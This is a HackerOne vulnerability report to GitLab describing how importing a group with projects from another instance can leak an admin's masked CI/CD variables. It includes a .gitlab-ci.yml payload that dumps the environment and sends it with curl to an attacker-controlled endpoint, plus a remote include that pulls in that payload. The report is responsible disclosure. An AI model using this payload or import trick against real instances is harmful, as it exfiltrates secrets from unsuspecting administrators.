Leak admin CI/CD variables through cross instance gitlab group import (with projects), bulk_import_projects feature enabled

HackerOne report #1851836 by ricardobrito on 2023-01-30, assigned to @greg:

Report

Hi team,

Summary

This issue is very similar and it is another way to acheive the same effect as reported in #358750 (closed). By abusing the gitlab group import feature.

This exploit has the following requirement:

The bulk_import_projects feature flag has to be enabled for the instance that is importing the groups.

The gitlab feature Import group by direct transfer allows gitlab users to transfer groups cross gitlab instances, and when the feature flag bulk_import_projects is enabled, it is possible to import the projects included in the groups that are being imported. So for this to work the admin of the instance that is importing the groups needs to have this feature flag enabled.

(Summarize the bug encountered concisely)

Setup

Admin creates a new group into which he plans to import other groups as subgroups. Let's call this group "Main Groups". This group is created in gitlab instance "A". The admin also creates MASKED CI/CD variables for this group as well (group page -> Settings -> CI/CD -> Variables):

The attacker creates a public project in instance "B", which will hold the payload (this project can be created in instance "B" and the project's visibility must be set to public). This project is called "payload". The project will contain the following .gitlab-ci.yml file:

job_name2:    
 script:    
   - export > test.txt    
   - curl -X POST --data "$(cat test.txt)" attacker-controlled-website

In my case:

The attacker-controlled-website is a website which will receive the data leaked from the admin gitlab runner environment (with the CI variables leaked). For this website I used: https://pipedream.com/[@]rickboss/requestbin-p_KwCWYdN/inspect, which is a public web service that allows to inspect data sent to it from requests.

The attacker creates a new public group called "my-projects" (also in instance B), which contains the following project called "sample-project" (public project), which contains a .gitlab-ci.yml file that includes the .gitlab-ci.yml file from project "payload" in step 2.


#####   This file is a template, and might need editing before it works on your project.    
#####   To contribute improvements to CI/CD templates, please follow the Development guide at:    
#####   https://docs.gitlab.com/ee/development/cicd/templates.html    
#####   This specific template is located at:    
#####   https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Bash.gitlab-ci.yml

#####   See https://docs.gitlab.com/ee/ci/yaml/index.html for all available options

#####   you can delete this line if you're not using Docker

include:    
  - '(RAW URL of the .gitlab-ci.yml from "payload" project)'

Example in which the payload project's raw url is http://18.191.243.24/gitlab-instance-029e2bd7/payload/-/raw/main/.gitlab-ci.yml(which is my instance running in aws):

Attack Scenario:

The attacker creates an access token with the api and read_api scopes
Attacker sends the instance url and access token to admin (or any other user)
The admin goes to the group import panel (located in https://[your-intance-url]/groups/new#import-group-pane, and places the url and the token in their respective places and connects to the instance, which sends him to a page looking like this:

Note that the button should read "import with projects", the reason it has "re-import" instead of "import" is because I have already imported it before when testing this functionality.

The admin imports the "my-projects" group from instance "B" (which contains the sample-project project) into the "Main Groups" group. Now the admin's "Main Groups" group has the following content:

Here is the issue: Now when the admin makes any change to any file inside the "sample project" which is inside the "my-projects" sub-group, which is inside the "Main Groups" and commits the changes, the payload from step 2, will run and send data to the attacker controlled website. This data will contained the leaked masked admin CI/CD variables:

As we can see in the screenshot above, the admin variable variable1 has been leaked. As well as other environment variables belonging to the admin instance.

Impact

A malicious attacker can leak admin ci/cd variables by abusing the group import function

What is the current bug behavior?

A malicious attacker can trick users into importing a malicious project which includes a malicious gitlab-ci.yml file.

Results of GitLab environment info

The tests were made on gitlab version 15.8

Impact

A malicious attacker can leak admin ci/cd variables by abusing the group import function (with projects included).

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: